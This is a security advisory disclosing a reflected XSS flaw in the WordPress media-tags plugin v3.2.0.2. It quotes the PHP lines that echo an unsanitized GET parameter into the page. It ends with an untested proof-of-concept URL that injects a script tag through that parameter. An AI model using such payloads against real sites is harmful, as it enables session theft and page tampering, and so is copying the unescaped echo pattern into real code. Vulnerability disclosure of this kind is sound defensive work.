Advisory #: 566
Title: Reflected XSS in wordpress plugin media-tags v3.2.0.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/media-tags
Downloads: 72623
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: media-tags
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./media-tags/mediatags_admin.php: 252: jQuery('form.search-form').append('<input type="hidden" id="media-tags-search" name="media-tags" value="<?php echo $_GET['media-tags']; ?>"/>'); 291: jQuery('form#posts-filter').append('<input type="hidden" id="media-tags-search" name="media-tags" value="<?php echo $_GET['media-tags']; ?>"/>'); The variable media-tags appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./media-tags/mediatags_admin.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/media-tags/mediatags_admin.php?media-tags="><script>alert(1);</script><"